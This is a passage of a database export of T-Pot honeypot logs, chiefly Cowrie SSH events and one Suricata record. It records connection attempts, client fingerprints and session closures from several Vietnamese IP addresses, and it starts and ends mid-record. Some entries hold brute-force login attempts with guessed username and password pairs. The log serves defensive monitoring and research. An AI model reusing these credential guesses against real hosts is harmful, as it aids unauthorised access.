"hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0d49933d856e", "@version": "1", "timestamp": "2021-09-20T11:07:39.561282Z", "@timestamp": "2021-09-20T11:07:39.561Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23475	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.588523+03	2021-09-20 14:15:07.55447+03	{"_id": "8AbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "72c411968063", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:39.588523Z", "@timestamp": "2021-09-20T11:07:39.588Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23476	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:39.623955+03	2021-09-20 14:15:07.55547+03	{"_id": "8QbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "789372657a4e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:39.623955Z", "@timestamp": "2021-09-20T11:07:39.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23477	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:39.626268+03	2021-09-20 14:15:07.55647+03	{"_id": "8gbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8b38f6e5b96d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:39.626268Z", "@timestamp": "2021-09-20T11:07:39.626Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23478	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.629152+03	2021-09-20 14:15:07.557471+03	{"_id": "8wbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "d4cecbe6cd54", "@version": "1", "duration": 3.2340195178985596, "timestamp": "2021-09-20T11:07:39.629152Z", "@timestamp": "2021-09-20T11:07:39.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23495	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:40.185805+03	2021-09-20 14:15:07.57947+03	{"_id": "BQbjAnwBvYTbRNuE4A6H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 93372244792752, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40158, "dest_port": 22, "timestamp": "2021-09-20T11:07:40.185805Z", "@timestamp": "2021-09-20T11:07:40.185Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23479	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.725482+03	2021-09-20 14:15:07.55947+03	{"_id": "9AbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9c6d5e401cea", "@version": "1", "timestamp": "2021-09-20T11:07:39.725482Z", "@timestamp": "2021-09-20T11:07:39.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23480	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.760558+03	2021-09-20 14:15:07.561471+03	{"_id": "9QbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [pal/pal123] failed", "session": "61b95c7cc7af", "@version": "1", "password": "pal123", "username": "pal", "timestamp": "2021-09-20T11:07:39.760558Z", "@timestamp": "2021-09-20T11:07:39.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23481	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.763017+03	2021-09-20 14:15:07.562471+03	{"_id": "9gbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "83bf82c52ce8", "@version": "1", "duration": 3.849881649017334, "timestamp": "2021-09-20T11:07:39.763017Z", "@timestamp": "2021-09-20T11:07:39.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23482	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.766863+03	2021-09-20 14:15:07.563472+03	{"_id": "9wbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "68b21819a812", "@version": "1", "duration": 2.4160807132720947, "timestamp": "2021-09-20T11:07:39.766863Z", "@timestamp": "2021-09-20T11:07:39.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23483	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.76784+03	2021-09-20 14:15:07.56447+03	{"_id": "-AbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "871935357b3b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:39.767840Z", "@timestamp": "2021-09-20T11:07:39.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23484	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:39.787648+03	2021-09-20 14:15:07.56547+03	{"_id": "-QbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [operations/operations] failed", "session": "70265ce44949", "@version": "1", "password": "operations", "username": "operations", "timestamp": "2021-09-20T11:07:39.787648Z", "@timestamp": "2021-09-20T11:07:39.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23486	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:39.912791+03	2021-09-20 14:15:07.568471+03	{"_id": "-wbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "789372657a4e", "@version": "1", "timestamp": "2021-09-20T11:07:39.912791Z", "@timestamp": "2021-09-20T11:07:39.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23487	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:39.924886+03	2021-09-20 14:15:07.56947+03	{"_id": "_AbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "041ccc791988", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:39.924886Z", "@timestamp": "2021-09-20T11:07:39.924Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23488	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:39.925881+03	2021-09-20 14:15:07.57047+03	{"_id": "_QbjAnwBvYTbRNuE3g0i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "041ccc791988", "@version": "1", "timestamp": "2021-09-20T11:07:39.925881Z", "@timestamp": "2021-09-20T11:07:39.925Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": 